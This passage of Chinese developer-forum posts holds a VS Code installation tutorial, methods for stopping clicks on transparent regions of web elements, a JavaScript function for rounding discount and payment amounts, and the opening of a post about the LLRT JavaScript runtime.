</script>
<style lang="scss" scoped></style>

作者:呼啦啦呼_
来源:juejin.cn/post/7236988255072223287
收起阅读 »

HTML开发工具和环境介绍,内附超详细的VS code安装教程!

工欲善其事必先利其器,一款好的开发工具可以让我们事半功倍。前面我们对HTML的相关概念和基本结构已经有了基本的了解,下面我们就来安装在前端开发中的需要使用的开发工具及环境。在众多HTML编辑器中,选择一个适合自己的工具至关重要。今天我们就来认识一下前端开发工作...
继续阅读 »

工欲善其事必先利其器,一款好的开发工具可以让我们事半功倍。前面我们对HTML的相关概念和基本结构已经有了基本的了解,下面我们就来安装在前端开发中的需要使用的开发工具及环境。

在众多HTML编辑器中,选择一个适合自己的工具至关重要。今天我们就来认识一下前端开发工作中使用的最广泛的工具 “VS Code” , 并在本地搭建好开发环境。

一、前端开发工具简介

首先,在介绍 “VS Code” 之前,我们先来了解一下什么是 “IDE”。

Description

什么是 “IDE”

IDE 是集成开发环境的英文缩写 (Integrated Development Environment),集成开发环境就是将在开发过程中所需要的工具或功能集成到了一起,比如:代码编写、分析、编译、调试等功能,从而最大化地提高开发者的工作效率。

IDE 通用特点:

  • 提供图形用户界面,在 IDE 中可以完成开发过程中所有工作;

  • 支持代码补全与检查,并提供快速修复选项;

  • 内置解释器与编译器;

  • 功能强大的调试器,支持设置断点与单步执行等功能。

前端开发IDE

而在前端开发中我们需要安装一个“趁手”的IDE,帮助我们更快更高效的开发,一个好的IDE是每个程序员的必备武器。前端开发IDE有很多种,例如 Visual Studio Code、HBuilder、WebStorm、Atom 或 Sublime Text 等。

我们可以任选一种使用。这几种IDE的对比如下:

Description

这么多IDE该怎么选呢?对于我们初学者来说,选择Visual Studio Code,(简称VS Code)就可以了。VS code具备内置功能非常丰富、插件很全且安装简单、轻量、对电脑的配置要求不算很高,且有MAC版本,应用广泛等优点,很适合新手。

下面就和我一起下载并安装VS code吧!

二、VS code下载与安装

1、进入VScode官网
官网地址:https://code.visualstudio.com/

点击【Download】进入下载,不要点击【Download for Windows Stable Build】,否则它会自动帮你下载User Installer用户版本。

Description

  • 【Stable】:稳定版本,比较稳定。

  • 【Insiders】:测试版本,添加了一些新东西,还在测试中,可能会存在一些Bug,不怎么稳定。

2、然后你会看见Windows,Linux,苹果三个版本,我们选择Windows版本,选择System Installer 点击【x64】进行下载,不要点击【↓ Windows windows8,10,11】,否则它也会自动默认下载User Installer用户版本。

Description

  • 【User Installer】:用户安装程序,VScode安装在你电脑当前账户的目录上,如果你换了一个其他账户登录你的电脑,那么你就用不了之前那个账户下载的VScode了。

  • 【System Installer】:系统安装程序,VScode不会安装在你电脑的当前账户上,而是直接安装在系统上,所有账户都可以使用。

其实选哪个版本都无伤大雅,就算你下载了【User Installer】版本也没事,因为没人会没事把自己电脑上的账户换成其他人的账户登录,就算换了也可以换回来,只是有时候特殊情况换了个账户登录不能使用就有一点麻烦,所以还是推荐尽量下载【System Installer】版本。

【x86】:32位操作系统。【x64】:64位操作系统,如果想知道自己是什么系统,可以敲击Win键找到“设置”→“系统”→“关于”→“系统类型”。

Description

3、正在下载

Description

这个下载会比较慢,如果不想等可直接去找个别人下好的安装包哦!也可找小编领取。

4、下载完后打开文件,会弹出许可协议弹窗,勾选我同意此协议,单击【下一步】。

Description

5、先去D盘里创建一个新文件夹取名叫“VScode”,点击【浏览】按钮修改安装路径,把路径改到刚刚在D盘里创建的VScode文件夹里。如果觉得麻烦也可以直接默认安装在C盘,然后单击【下一步】,但还是建议安装在D盘里。

Description

6、修改完路径后,单击【下一步】。(安装路径是这个样子D:\VScode\Microsoft VS Code)

Description

7、选择开始菜单文件夹,默认"Visual Studio Code",单击【下一步】。

Description

8、根据自己的需求进行勾选,勾选完单击【下一步】。

Description
【创建桌面快捷方式】:在桌面创建VScode快捷方式。

【将“通过Code打开”操作添加到Windows资源管理器文件上下文菜单】:选中一个文件鼠标右键可以通过VScode打开文件。

【将“通过Code打开”操作添加到Windows资源管理器目录上下文菜单】:选中一个文件夹鼠标右键可以通过VScode打开文件夹。

【将Code注册为受支持的文件类型的编辑器】:对于受支持的文件类型的文件,鼠标右键选择“打开方式”,可以通过“Vscode”打开。

Description

【添加到PATH】:添加VScode文件夹里的bin目录到PATH环境变量里,添加完以后可通过系统命令输入code直接启动VScode。

Description

9、单击【安装】进行安装。
Description

10、安装完成后单击【完成】启动。
Description

三、VS code配置

插件下载完之后,大家可以根据自己的需求下载插件,这里推荐我用的比较顺手的几个。

1、下载汉化包

点击扩展,在搜索栏搜索Chinese,选择Chinese中文简体点击【Install】进行安装。(建议少用,多看英文,这是一位优秀的程序员走向成功的标志性成长。)

Description

安装完后单击【Change Language and Restart】重启VScode软件,刷新一下就变成中文简体了。
Description

2、下载【会了吧】

插件在搜索栏里搜索【会了吧】,这个是在你敲代码时会自动识别你敲的单词进行翻译,如果你有一个单词不认识,可以点进“会了吧”看看翻译,对英语基础差的人很友好。

Description

3、下载【Open in browser】插件

这个是用来运行代码,并且在浏览器打开,查看运行效果的,这个插件必须下,否则当你写完HTML网页时你无法运行,无法预览页面,不信你可以先试试能不能运行再回来下载。

Description

4、下载【Live Server】插件

这个是用于实时预览运行效果,当你使用open in browser运行代码时,只要你的代码有改变,你就需要手动刷新重新预览页面运行结果,而Live Server是自动刷新运行结果,非常方便,非常滴银性!

Description

想要快速入门前端开发吗?推荐一个前端开发基础课程,这个老师讲的特别好,零基础学习无压力,知识点结合代码,边学边练,可以免费试看试学,还有各种辅助工具和资料,非常适合新手!

点这里前往学习哦!

四、用VScode编写HTML代码

1、先去D盘里创建一个新文件夹取名叫“Workspace”(名字随便取名)。

Description

2、进入VScode找到左上角的文件选择点击打开文件夹。

Description

3、找到刚刚创建的“workspace”文件夹,单击【选择文件夹】。

Description

4、找到WORKSPACRE,点击新建文件,名字输入“01.html”,然后点击回车键创建。

Description

5、在刚刚创建的01.html文件下输入以下代码。

<!DOCTYPE html>
<html>
   <head>
       <meta charest="utf-8">
       <title>HTML</title>
   </head>
   <body>
       <h1>这是我的第一个网页</h1>
   </body></html>

Description

6、鼠标右击空白处单击【Open In Default Browser】查看运行结果。

Description

7、运行结果如下。

Description

以上就是常用的前端开发工具VS code的下载和安装教程了,你的第一个HTML网页运行成功了吗?

一个高效的HTML开发工具和环境是每个前端开发者的得力助手。通过合理选择工具、配置环境、使用框架和库、以及不断的调试和测试,你可以将创意转化为现实,构建出令人惊叹的网页。记住,技术永远在变,唯有不断学习和实践,才能让你在这个数字世界中游刃有余。

收起阅读 »

网页空白区域消除点击的方法

web
一、前言 现在开发前端,总会遇到一些奇奇怪怪的形状,比如要求这个图标是个三角形(或者其他不规整的情况)。 大多数情况就是ui直接给了图,我们当背景引入,但是呢,我们的元素是一个矩形区域,这个时候如果绑定了点击事件之类的,透明的部分也会被绑定到。 一般来说是不会...
继续阅读 »

一、前言


现在开发前端,总会遇到一些奇奇怪怪的形状,比如要求这个图标是个三角形(或者其他不规整的情况)。


大多数情况就是ui直接给了图,我们当背景引入,但是呢,我们的元素是一个矩形区域,这个时候如果绑定了点击事件之类的,透明的部分也会被绑定到。


一般来说是不会有什么大问题,但耐不住测试跟你较真啊,这个空白区域怎么也能点击?bugbug,都是bug,回炉重造。


所以今天就来盘点盘点下,空白区域消除点击的方法。


二、方案


1、cilp-path属性


看过我之前的文章# clip-path属性深入使用的朋友们都知道,cilp-path是一个灵活度非常高的属性,让我们打破了盒子模型,可以自由撰写多边形。


这里我们简单用下里面的circle属性


clip-path: circle(40px at 50% 50%);


直接在网页上修改样式,可以看到百度的按钮变成了椭圆形,而原本周围可点击的部分,也无法点击了。(border-radius也可以做到类似效果)


QQ图片20230430164354.png


这里只是简单检验一下效果,一般而言用得到的clip-path是polygon多边形属性。


2、html5原生标签map和area


这里我们还是沿用这个w3school的例子,老经典了。


引入了一张图,或者其他元素吧,设置usemap为#workmap,然后后面跟map标签,name要对得上。


里面用area划分区域,shape确定形状,然后coords界定具体范围,然后就可以绑定各自的事件了。


<img src="workplace.jpg" alt="Workplace" usemap="#workmap" width="400" height="379"> 
<map name="workmap">
<area shape="rect" coords="34,44,270,350" alt="Computer" href="computer.htm">
<area shape="rect" coords="290,172,333,250" alt="Phone" href="phone.htm">
<area shape="circle" coords="337,300,44" alt="Cup of coffee" href="coffee.htm">
</map>

QQ图片20230430142008.png


画面中有电脑手机咖啡等等物品,我们创建了map容器,指向了这张图,同时创建了3个area区域,分别划分范围,实现不同的事件触发。


换个思路就是,我们画出非空白部分,给其绑定事件,空白区域就不绑定事件就可以了。


3、利用伪元素或其他元素


思路就是,利用伪元素或者其他元素,写出一块和空白区域一样大小的dom,叠在空白区域上面,也可以实现效果。


不过就是有点费时费力,如果遇到的是比较复杂的图形的话。


4、图片透明部分不可点击,实体部分可点击


思路:用canvas画一个同等大小、同一位置的图片,叠上去。用canvas固有方法判断点击位置是否透明。


QQ图片20230430222322.png


其中的ctx.getImageData就是用来取色的,通过判断透明度来决定触不触发事件。


var ctx = c.getContext("2d");


var imgdata = ctx.getImageData(x, y, 1, 1);

console.log("点击位置的全部颜色数据[r,g,b,a]", imgdata.data);

console.log("点击位置的透明度颜色数据(0~255,0代表完全透明,255代表完全不透明) value:", imgdata.data[3]);

三、个人推荐


复杂区域推荐用方案一、方案二


简单区域可以用方案三


方案四的话,操作起来比较麻烦,如果空白区域太复杂的话,也可以试一试。


ps: 我是地霊殿__三無, 51小水一波。


Snipaste_2022-07-19_15-30-26.jpg


作者:地霊殿__三無
来源:juejin.cn/post/7228692613036081189
收起阅读 »

产品经理:优惠金额只入不舍,支付金额只舍不入...

web
前言 当前做的项目是一个售卖会员的平台。其中涉及到优惠券、支付金额等。 优惠券分为:折扣券(n折)、抵扣券(减x元) 需求 优惠金额、支付金额都需要保留两位小数。 优惠金额只入不舍,比如18.811元,显示为:18.82元。这样看起来,优惠的相对多一些 支付金...
继续阅读 »

前言


当前做的项目是一个售卖会员的平台。其中涉及到优惠券、支付金额等。

优惠券分为:折扣券(n折)、抵扣券(减x元)


需求


优惠金额、支付金额都需要保留两位小数。

优惠金额只入不舍,比如18.811元,显示为:18.82元。这样看起来,优惠的相对多一些

支付金额只舍不入,比如18.888元,显示为:18.88元。

从产品角度来讲,这个设计相当人性化。


实现


/**
* 金额计算
* @param {number} a sku原始价格
* @param {number} b 优惠券金额/折扣
* @param {string} mathFunc 四舍五入:round/ceil/floor
* @param {string} type 计算方式默认减法
* @param {digits} type 精度,默认两位小数
* */

export function numbleCalc(a, b,mathFunc='round', type = '-',digits=2) {

var getDecimalLen = num =>{
return num.toString().split('.')[1] ? num.toString().split('.')[1].length : 0;
}
//将小数按照一定的倍数转换成整数数
var floatToInt = (num,numlen,maxlen)=>{
var numInt = num.toString().replace('.', '');
if(numlen==maxlen)return +numInt;
return numInt * (10**(maxlen-numlen))
}


var c;
//获取2个数字中,最长的小数位数
var aLen = getDecimalLen(a);
var bLen = getDecimalLen(b);
var decimalLen = aLen>bLen?aLen:bLen;
var mul = decimalLen>0?(10 ** decimalLen):1;

//转换成整数
var aInteger = floatToInt(a,aLen,decimalLen)
var bInteger = floatToInt(b,bLen,decimalLen)


if(type=='-'){
c = (aInteger - bInteger)/mul;
}else if(type=='*'){
c = aInteger * bInteger/mul/mul;
}

c = digits==0?c : c * (10 ** digits);

if(mathFunc=='floor'){
c= Math.floor(c);
}else if(mathFunc=='ceil'){
c= Math.ceil(c);
}else {
c= Math.round(c);
}
return digits==0?c : c/(10**digits);
}



整体思路:获取两个数字之间最大的小数位,先取整再计算。
不直接进行计算,是因为存在0.1+0.2!=0.3的情况,具体原因可以看下文章下方的参考链接,写的很详细。




  • Math.ceil()  总是向上舍入,并返回大于等于给定数字的最小整数。

  • Math.floor()  函数总是返回小于等于一个给定数字的最大整数。

  • Math.round() 四舍五入


【重点】小数位取整:我之前的写法原来是错误的


image.png
我一直以来也是这种形式,预想的是直接乘100变成整数,但是出现了以下情况


19.9 * 100 = 1989.9999999999998
5.02 * 100 = 501.99999999999994

可以看到,出现了意料之外的结果!!

最后采用的方案是:将小数转成字符串,再将小数点替换成空格


//将小数按照一定的倍数转换成整数数
var floatToInt = (num,numlen,maxlen)=>{
var numInt = num.toString().replace('.', '');
if(numlen==maxlen)return +numInt;
return numInt * (10**(maxlen-numlen))
}

总结


省流:将小数点替换成空格,变成整数,再进行相应计算。

封装的这个函数,只考虑了当前业务场景,未兼容一些边界值情况。



  • 大金额计算问题

  • 计算方式:加法、除法未做处理


参考


# 前端金额运算精度丢失问题及解决方案


作者:前端大明
来源:juejin.cn/post/7341210909069770792
收起阅读 »

想进国企,跳槽真的不要太频繁

想进国企,跳槽真的不要太频繁 去年内推的一个学弟,面试兜兜转转一个月,最终北京的领导还是把他挂了,因为觉得他跳槽是在太频繁了,担心稳定性不行。 其实这个学弟本身是非常优秀的,本科和研究生都毕业于985大学,学校期间实习的地方也都是腾讯、阿里、字节这样的大公司...
继续阅读 »

想进国企,跳槽真的不要太频繁


image.png


去年内推的一个学弟,面试兜兜转转一个月,最终北京的领导还是把他挂了,因为觉得他跳槽是在太频繁了,担心稳定性不行。


其实这个学弟本身是非常优秀的,本科和研究生都毕业于985大学,学校期间实习的地方也都是腾讯、阿里、字节这样的大公司,毕业后的第一份工作也是大家耳熟能详的某国有大银行的软开岗。


简历和履历都非常不错,但是不知道什么原因他却选择了毕业刚工作半年就裸辞,当我刚认识他的时候他以及在成都到处投简历找工作快一个月了。


虽然这种履历也不至于颗粒无收,但是比起他上一份工作的档次还是差了很多,并且也可能是在银行的科技岗被卷怕了,所以总跟我说想找一个稳定的地方呆上一段时间。


然而,遗憾的是我们这边北京的领导觉得他半年就离职十分不稳定,也对他关上了大门。


想要了解更多成都央国企招聘、内推、简历辅导、面试辅导等信息,欢迎关注知识星球【成都央国企指南】,帮助应届生、社会人士等了解成都央国企信息,可进行一对一简历辅导、职业规面试辅导等。


为什么国企这么在乎稳定性?


我记得当时面试来到这家公司的时候,招聘我的主任心里还很虚,因为我也是呆了一年就跳槽的,所以担心我过来心里落差大,呆不了多久。


好在当时我没有离职,所以心态很平和然后才跟这边把offer谈下来了,所以我想想如果当时我已经离职了的话,作为社招我可能就拿不到这个offer了吧。


那么国企为什么这么在乎稳定性呢,国企其实和私企不同(这里我说的是真国企,像什么科技子公司,有末尾淘汰还真的搞的不在我的讨论范围之内),不需要你作为个人有太大的能力和产出,更不需要把你压榨到极致。


本质上国企的项目是通过领导层的关系运作来的,不需要去市场是厮杀来抢一个项目,有些垄断行业这项目就得你们公司做,哪怕是拿到项目后外包出去,都得你们集团来牵头。


并且国企的领导和你一样,都是给国家打工,而且国企的升迁也不是唯业绩论成败,所以事情即使你干得没那么好对领导的影响也没那么大,不会搞你搞得太难看,除非你这个领导有精神疾病。


所以,一般垄断国企的稳定性还行,很多员工都是呆上好几年甚至数十年的,一方面是工作环境确实不错,没人难为你,另一方面就是在国企呆久了就确实失去了去外面厮杀的能力,也不敢跳槽。


工作的节奏也会比较慢,在国企你呆了半年可能项目方面才上手,在这种环境下,由于待遇也没有外面私企那么高,领导招一个人实际上是非常慎重的。


像这个学弟的半年一跳的情况,在国企领导眼里看起来可能觉得你都还没开始上手,怎么就跳槽了,那我招你进来会不会是瞎折腾,所以就选择敬而远之了。


如何在招聘的时候展示你的稳定性?


上面说了那么多,在国企的招聘当中,如果你能够恰到好处的展示你的稳定性的话,那么国企的领导可能会更加青睐你。主要可以从以下几个方面来展示你的稳定性:


第一、在当前城市已经定居或者有定居打算,如果你买了房子有了生存压力,并且打算扎根在这里的话,肯定就是一个加分项了,因为这样的人一般是不敢轻易跳槽的,所以领导很放心。


第二、能力其实不需要太强,在互联网、私企混了很久的人其实有一个误区,能力越强越好。其实国企的领导心里有数的,第一这里不需要什么高精尖技术,第二,能力太强的呆不了多久就跑了。所以,包括我在内面试的时候也不需要能力太强,或者那种觉得自己能力强就沾沾自喜的人。这些人有更好的去处,我们这小庙就不供这座大佛了,所以如果是真国企的岗位其实像什么阿里P8的还真不愿意要,除非是集团领导直接招进来,普通岗位招进来真怕你卷我。


第三、有女朋友在这边,我同时就是典型的为了女朋友从杭州跳槽到成都来的,所以有这个理由也会很放心,觉得你过来就跑不掉了。


第三、年龄还不大或者年龄稍大从一线城市回来,这样的人一般都会选择在当前的城市定居的,面试的时候如果表现出定居的意图那么也会有一定优势。


想进国企,真的不要随便跳槽


其实现在很多私企都很在乎稳定性,什么五年三跳、三年两跳的都会成为简历上的劣势而被无情拒绝。


虽然我觉得这不是一个好的事情,尤其是私企本身人员变动就频繁你还要求人家有稳定性,这不闹着玩吗?


但是如果你未来想着跳槽进入一个不卷的国企平稳降落,那么一定跳槽就不要太平凡,国企这方面的逻辑和私企完全不同,私企是无理取闹,但是国企是真的希望人员稳定一点儿。


无论什么情况都坚持一些,保证自己的简历不要花掉,不然像这位学弟一样被拒绝就是一件很难受的事情了。


The End


其实这个学弟还是拿到了四川九洲的offer,但是他拿不准到底要不要去,怕又是一个很卷的军工国企。


我是这样劝他的,其实哪里工作都差不多,重点是你要能扛住工作的压力不要因为一些莫名其妙的小问题,玻璃心就离职。


哪怕你等着公司裁你还能拿一波n+1赔偿呢,所以有地方去就先呆着,先找到工作结束失业状态再说,先上岸再考虑其他的。


最后,也衷心希望他可以找到合适的工作。




作者:浣熊say
来源:juejin.cn/post/7338721296866656296
收起阅读 »

纯前端就可以实现的两个需求

web
一:多文件下载并压缩成zip形式   我们一般看到这个需求,大多前端都会觉得这不就是一个接口的事嘛,咱们直接window.open()就搞定了,emm...,我之前也是这样想的,可惜现在是在三线城市的小互联网公司,人家后端说服务器不行,带宽不够,出不来接口0....
继续阅读 »

一:多文件下载并压缩成zip形式


  我们一般看到这个需求,大多前端都会觉得这不就是一个接口的事嘛,咱们直接window.open()就搞定了,emm...,我之前也是这样想的,可惜现在是在三线城市的小互联网公司,人家后端说服务器不行,带宽不够,出不来接口0.0,所以我就尝试着寻找……最终找到了解决办法——


  前端可以直接从cos资源服务器中下载多个文件,并放进压缩包中哦,这样就省去了后端在中间中转的那个环节,实现方式如下:


1.安装依赖


  我们需要用到两个第三方依赖哦,分别执行以下安装


npm i jszip
npm i file-saver

2.引入 


  在需要使用的时候,我们引入


import JSZip from "jszip";
import FileSaver from "file-saver";

3.实现过程


  我这里是在vue框架中,所以方法是在methods中哦,先在data里声明一个文件demo数据


data () {
return {
fileList: [ //这里的数据 实际中 应该是从后端接口中get { name: "test1.doc", url: "https://collaboration-pat-1253575580.cos.ap-shenzhen-fsi.myqcloud.com/baseFile/202303/bdf4303f-4e8d-4d95-977c-4fd5ef28d354/new.doc" }, { name: "test2.doc", url:"https://collaboration-pat-1253575580.cos.ap-shenzhen-fsi.myqcloud.com/baseFile/202303/bdf4303f-4e8d-4d95-977c-4fd5ef28d354/new.doc" } ],
}
}

methods中的方法:


handleClickDownAll () { //实现多文件压缩包下载
let _this = this
let zip = new JSZip()
let cache = {}
let promises = []
for(let item of this.fileList) {
const promise = _this.getFileArrBuffer(item.url).then(res => {
//下载文件, 并存成ArrayBuffer对象(blob)
zip.file(item.name,res,{binary:true}) //逐个添加文件
cache[item.name] = data
})
promises.push(promise) }
Promese.all(promises).then(() => {
zip.generateAsync({type:'blob'}).then(content => {
FileSaver.saveAs(content,"压缩包名字") //利用file-saver保存文件 自定义文件名
})
})
},
getFileArrBuffer(url) {
return new Promise((resolve) => {
let xmlhttp = new XMLHttpRequest()
xmlhttp.open('GET',url,true)
xmlhttp.responseType = 'blob'
xml.onload = function () {
resolve(this.response)
}
xmlhttp.send()
})
}

二:electron-vue中,生成二维码,并支持复制二维码图片


要实现的功能如下,就是点击这个“复制二维码”,可以直接把二维码图片复制下来



1.安装依赖


npm i qrcodejs2

2.引入


import QRCode from 'qrcodejs2';
import { clipboard, nativeImage} = require('electron')

3.实现


  要先在template中写一个这样的元素,用来显示二维码图片框


<div id="qrcodeImg" class="qrcode" style="height: 120px"></div>

然后再写一个画二维码的方法,如下:


drawQrcode() {
new QRCode("qrcodeImg",{
width:120,
height:120,
text:"http://www.baidu.com",
colorDark:"#000",
colorLight:"#fff"
})
}

复制二维码的方法如下:


copyCode() {
let src = document.getElementById("qrcodeImg").getElementsByTagName("img")[0].src
const image = nativeImage.createFromDataURL(src)
clipboard.writeImage(image)
this.$Message.success('复制成功')
}

4.使用


要先确保dom元素已经有了,所以在mounted中调用drawQrcode()这个方法,然后点击“复制二维码”时,调用 copyCode()这个方法就可以实现啦




作者:wenLi
来源:juejin.cn/post/7213983712732348474
收起阅读 »

从裁员到加入腾讯架构组,愿大家都能走出低谷

不知不觉已经加入腾讯某事业线的架构部门工作快半年了,今天来分享一下自己去年的裁员经历,希望能对大家有所启发和激励。 加入直播部门 我是2022年年初加入了公司的直播事业部,从事直播这块的后台开发内容。当时主要是想多些接触到直播这块的业务,运用自己学过的一些技术...
继续阅读 »

不知不觉已经加入腾讯某事业线的架构部门工作快半年了,今天来分享一下自己去年的裁员经历,希望能对大家有所启发和激励。


加入直播部门


我是2022年年初加入了公司的直播事业部,从事直播这块的后台开发内容。当时主要是想多些接触到直播这块的业务,运用自己学过的一些技术手段去解决高并发场景的一些问题。可以说在这个组里头学习到了很多有用的实战技巧,微服务拆分,分库分表,服务限流,降级,推荐系统,自研im系统,还有各种自研中间件,花了大概大半年的时间,把这块都自己吭哧吭哧地造了遍轮子,实践了一番,收获非常之大。


部门裁员


去年的2月底,通过一些小道消息得知,我所在的直播部门开始了裁员计划,并且自己因为只是刚加入这个项目组,于是便被列入了裁员的名单中了。不过其实离开也算是一种解脱,因为直播组的工作压力是非常大的,当时我们有10个产品经理,而后台开发只有5个人手。每个产品为了冲各自的kpi,每周都会出2-3个需求,拍下来一个人一周大概要并行做3-4个需求,做不完的就只好往后排期。小需求还好,有时候是一些大需求,流程复杂,还容易出错。


裁员通知


大概在2022年3月10号左右,当时我被喊到了“小黑屋”,人事和leader正式告知了我裁员的事情,然后也按照规定签署了N+1。


被裁员那天下午,当时在公司的窗台边上看着窗外的风景,感觉有一种久久不能释怀的解脱感和不舍感。自己从毕业就进到这家公司,如今正好满了4年,不知后边的路该如何是好。


8141708351261_.pic.jpg


同事离别


最后离别搬东西的那天,我和公司所有认识的同事都打了声招呼,尤其是之前带过我的两任领导,由衷感谢他们之前对我的照顾和提拔,能让我这几年学习到了许多。


当时和当初一起进公司的应届生伙伴们一起喝了一杯奈雪,聊起了当初一起加入公司,最后居然还能一起离开,真是有缘份,哈哈哈。(大家都在名单当中)也和几个关系很好的开发同事吃了一顿椰子鸡,聊了聊以前工作的趣事和一些技术话题(程序员的爱好,哈哈哈哈)。


几乎所有熟人都告别了一轮后,晚上便离开了公司大楼。


离职后生活调整


当时公司离职的同事有不少,所以大家也就一起组建了一个离职同事交流群。有些人在离职后去了旅游,有些人选择了回老家陪家人。当时我给自己放了一周的假,放空了思绪。经常晚上一个人到海边公园去跑步,多锻炼下身体,先把精神状态调整好。当时还买了乐刻健身一个月的会员,时不时到健身房撸撸铁。后边我把离职的事情告诉关系不错的几个同学,大伙时不时约几顿烧烤,爬山,跑步,各种活动安排了起来。


新的规划


刚离职的前几周,那会确实很舒服,每天都过得无忧无虑的。但是刚到四月初的时候,开始感觉不能再这么躺下去了,于是便开始新的规划。


早在2021年的时候,就已经开始尝试做各种副业赚取一些其他收入,到2023年的时候已经基本成型了,于是当时是尝试去继续做自己的副业工作。副业之一就是技术讲师,当时和好几个平台有签约合作。于是当时便萌生了一个idea,如果花几个月时间投入到副业的话,会有多大的收益。


于是当时的4,5,6月份几乎都把精力投入到了几门课程的研发当中,然后还报名了一个做运营的课程,学习了一些不同自媒体平台的运营手段。(现在回看,感觉当时的尝试是非常有意义的)
下边是当时那几个月在飞书的日程表记录记录图,因为怕自己忘记每天要做什么事情,所以每天早上都会提前规划好:


image.png


image.png


image.png


每天大概会花4-5个小时在课程录制上,然后剩余时间可能会看看电影,上上b站刷刷八股文面试题或者出门运动下啥的。


记得当时5,6月份的时候,在boss上简单投了一下,约到了几家小公司的面试。当时只是抱着一个试一试的心态去练练手。


开始海投求职


真正的海投应该是在7月份开始,当时动用了各种渠道,内推,boss直聘,前后投递了大概500份简历。前期先投小公司开始,一边投简历,一边优化简历的内容以及对技术知识的查漏补缺。前边面了大概3-4家小公司,基本都能面到2-3轮,大概就熟悉了面试的感觉后,后期便开始面一些中大型公司了。



  • 顺丰科技(压薪,谈薪挂)

  • 华润电商(二面没去)

  • 华润物业(后台开发,offer)

  • 跨越速运(后台开发,offer)

  • 迅雷网络(风控中台,二面挂)

  • tcl(基础架构组,二面没去)

  • 360(基础架构组,二面没去)

  • 大疆(简历挂)

  • 平安(业务开发,二面没去)

  • 乐信(简历挂)

  • 某证券交易所 (业务开发,二面没去)

  • 货拉拉(简历挂)

  • 某跨界电商独角兽公司(后台开发,offer)


前前后后面试了十几家公司,这么多家公司面下来发现,大部分问的内容都差不多,人渐渐会有一种面试的疲倦感。


当时拿到的三个offer,其中华润那边的福利和待遇是比较好的,但是也存在问题就是项目组是比较传统的,担心自己进去学不到太多东西。当时大概是八月初,有点纠结。


面试准备


光是一个7月,就面了有十余家,最高的频率有试过一天面五家公司。是的,你没看错,我也没编造,那段时间运气好,确实能约到很多面试,然后基本所有面试都是约了线上视频或者语音沟通。



  • 八股文


当时是在5,6月的时候,花了一些时间,专门重温了一份八股文笔记(b站上一些培训机构发的,大概10w字,确实有些帮助,能帮你很好地把不同技术点给系统化起来)。



  • 项目


然后简历这块主要是写了一个直播的项目,加了一些“三高”字眼的词藻去修饰了下。也在简历上写了自己的博客,开源项目,公众号这些东西。(在简历筛选中应该会有些帮助)



  • 算法


leecode也时不时刷一刷,保持下手感,我只刷了100道左右,一般面试都是从easy或者normal中挑选,hard就看运气了。



  • 心态


多运动,与朋友交流,心态健康,面试的时候发挥就会正常很多。


腾讯面试


记得那会是刚拿到三个offer还在纠结的第二天,当时把三个offer和几个认识的大佬聊了下 要如何选择,大佬们大多是建议去华润,毕竟大环境下求稳会更重要。原本是要下决定的了,然而在一天晚上,自己正在做饭的时候,忽然打开了一个电话☎️。


我接听了,对面是腾讯的hr,说有人推了我的简历,想约一轮面试看看有没有时间。我当时是有点懵的,因为自己前两天刚好在boss上投了腾讯的岗位,于是边爽快的答应了。


腾讯的面试jd上写的其实是比较含糊的,当我面完了一面的时候,问了下面试官这个岗位的职责才知道是腾讯的基础架构组。(内心有点意外和开心)


一面面试官不怎么问八股文 上来就是聊项目,然后问了很多直播里面的高并发处理方案(后来进去后才知道,这个面试官之前是腾讯那边的直播业务负责人,难怪直播这块的技术方案那么了解)。一面也问了些架构设计的问题,例如四百亿的聊天信息要如何设计存储架构,最后给了一道算法题要求电脑上写出来,好在以前有刷leecode的习惯,那天正常地写了出来。


二面大概是一面后的第三天,二面的面试官问了很多中间件的原理,以及自己以前做基础组件的开发经验,重点问了下im架构是如何实现的。因为之前有过十几家公司的面试经验,所以大部分回答起来都比较顺利。


三面是部门的副总经理面,这一轮的面试压力会比较大,对方会不断的否定你,然后让你现场优化设计方案。不过一切都好在有所准备,流程还算正常。最后还和我介绍了一下基础架构组的工作职责,以及大概定级。


四面是hr面了,大概问了下个人职业规划 ,学习方法,还有一些其他内容记不太清了,大概唠了半个小时吧。


前前后后腾讯这边的面试持续了两周左右时间,一共四轮,最后也谈了定级和薪资,并且顺利发了offer。


offer比对


可能会有朋友好奇,八月初拿了其他几家的offer,可以持有到腾讯面试结束吗?


不行的,当时其他几家公司的offer最久的也得在一周内回复,所以当时是放弃了已有的几个offer, 打算搏一搏,好在最后搏上了。


其实当时腾讯在面试过程中的时候,还有tcl,360,某证券公司,平安等在准备二面,也给自己留了几家其他公司面试机会的后路。


其他大厂有试过不


类似阿里,京东,美团,快手,字节,oppo,vivo这些大公司,之前也有尝试投过,但是简历基本都挂了,不过也可能和自己学历有关,三本软件工程。


从离职到后边重新步入职场工作,中间gap了大概五个月(正好也和之前的赔偿金顶上了),三月中旬离职,九月初入职tx。中间四五六月在忙副业,赚了一些些,然后七八月开始不停约面试,算是比较幸运地过渡下来了。


干副业会影响面试准备吗


这里我做的副业的内容是和主业相关的,当时是讲了一门直播相关的技术课程,这门课程的内容正好就是我在简历上所写的内容,所以其实所谓的给人讲课,就是变相的面试复习,同时还能锻炼自己表达能力。(视频授课)


没有工作后会焦虑吗


其实是会的,尤其是面试屡屡挫败的时候,一开始会打击人自信心,不过后边多试几次就感觉还好。


另外也好在副业帮我打发了大部分的时间,所以4,5,6月份的生活,生活节奏和上班差不多,所以整体感觉还好。


新环境工作感受



  • 卷:经常要加班到晚上九点后,好在是双休,所以一般周末会选择去运动,保证身体健康。

  • 技术收获很大:小组是专门做技术方向的,如监控 ,数仓,中台,自研组件,还有一些运维的活也要干,对自己的技术成长这块有着很巨大的帮助。

  • 程序员不能只懂技术,打交道的能力也是很重要的,尤其是跨部门协作,技术宣讲这些东西,都需要靠口才和个人魅力去达成。


作者:DannyIdea
来源:juejin.cn/post/7337489263877111842
收起阅读 »

下一代 Node.js?运行速度狂飙 10 倍!!!

web
【💥 重磅新闻 💥】JavaScript 服务端运行时环境又出新秀,LLRT 来势汹汹!🌟 嘿,各位 JavaScript 开发者们,你们知道吗?最近有个叫 LLRT 的新运行时环境火了起来,据说速度比 Node.js 快了 10 倍!🏎️ 前有 Deno,后...
继续阅读 »

【💥 重磅新闻 💥】JavaScript 服务端运行时环境又出新秀,LLRT 来势汹汹!🌟


嘿,各位 JavaScript 开发者们,你们知道吗?最近有个叫 LLRT 的新运行时环境火了起来,据说速度比 Node.js 快了 10 倍!🏎️


前有 Deno,后有 Bun,现在又来了个 LLRT,Node.js 这些年的日子可真是“不是被超越就是在被超越的路上”啊!😅


